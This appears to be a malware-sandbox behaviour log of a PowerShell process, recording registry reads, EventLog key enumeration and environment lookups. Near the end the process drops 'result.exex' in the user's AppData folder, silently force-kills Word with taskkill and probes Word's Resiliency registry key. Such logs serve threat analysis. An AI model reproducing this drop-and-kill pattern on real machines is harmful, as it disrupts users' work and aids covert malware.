Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml, type = file_type True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml, type = file_attributes True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 7
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Enumerate Values reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN, value_name = StackVersion, data = 2.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Get Key Info reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Enumerate Keys reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell False 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell True 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = HOMEDRIVE, result_out = C: True 1
Fn
Environment Get Environment String name = HOMEPATH, result_out = \Users\aETAdzjz True 1
Fn
File Get Info filename = C:\Users\aETAdzjz, type = file_attributes True 1
Fn
File Get Info filename = C:\, type = file_attributes True 4
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Environment Get Environment String name = MshEnableTrace False 5
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop, type = file_attributes True 2
Fn
Environment Get Environment String name = MshEnableTrace False 1
Fn
File Get Info filename = C:\, type = file_attributes True 2
Fn
File Get Info filename = C:\Users, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\aETAdzjz, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop, type = file_attributes True 2
Fn
File Get Info filename = C:\Users, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\aETAdzjz, type = file_attributes True 2
Fn
File Get Info filename = C:\Users\aETAdzjz\Desktop, type = file_attributes True 3
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Environment Get Environment String name = HomeDrive, result_out = C: True 1
Fn
Environment Get Environment String name = HomePath, result_out = \Users\aETAdzjz True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Environment Get Environment String name = MshEnableTrace False 11
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = 0, type = REG_SZ True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine, value_name = ApplicationBase, data = C:\Windows\System32\WindowsPowerShell\v1.0, type = REG_SZ True 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1, type = file_attributes False 1
Fn
File Get Info filename = C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\aETAdzjz\Documents\WindowsPowerShell\profile.ps1, type = file_attributes False 1
Fn
File Get Info filename = C:\Users\aETAdzjz\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1, type = file_attributes False 1
Fn
Environment Get Environment String name = MshEnableTrace False 6
Fn
File Open filename = STD_INPUT_HANDLE True 1
Fn
Environment Get Environment String name = MshEnableTrace False 2
Fn
Registry Open Key reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds True 1
Fn
Registry Read Value reg_name = HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds, value_name = PipelineMaxStackSizeMB, type = REG_NONE False 1
Fn
Thread 0x9ac
(Host: 2011, Network: 0)
+
Category Operation Information Success Count Logfile
Environment Get Environment String name = MshEnableTrace False 21
Fn
Environment Get Environment String name = APPDATA, result_out = C:\Users\aETAdzjz\AppData\Roaming True 2
Fn
File Create filename = C:\Users\aETAdzjz\AppData\Roaming\result.exex, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL True 1
Fn
File Get Info filename = C:\Users\aETAdzjz\AppData\Roaming\result.exex, type = file_type True 2
Fn
Environment Get Environment String name = TEMP, result_out = C:\Users\aETAdzjz\AppData\Local\Temp True 2
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 1
Fn
Environment Get Environment String name = PATH True 1
Fn
Environment Get Environment String name = PATH, result_out = %SystemRoot%\system32\WindowsPowerShell\v1.0\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Microsoft Office\root\Client True 1
Fn
File Get Info filename = C:\Windows\system32\taskkill.exe, type = file_attributes True 1
Fn
Environment Get Environment String name = MshEnableTrace False 4
Fn
Environment Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Process Create process_name = "C:\Windows\system32\taskkill.exe" /f /im winword.exe, os_pid = 0x5f4, show_window = SW_HIDE True 1
Fn
Environment Get Environment String name = MshEnableTrace False 5
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Resiliency\StartupItems False 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software True 1
Fn
Registry Open Key reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Get Key Info reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
Registry Enumerate Keys reg_name = HKEY_CURRENT_USER\Software\Microsoft True 1
Fn
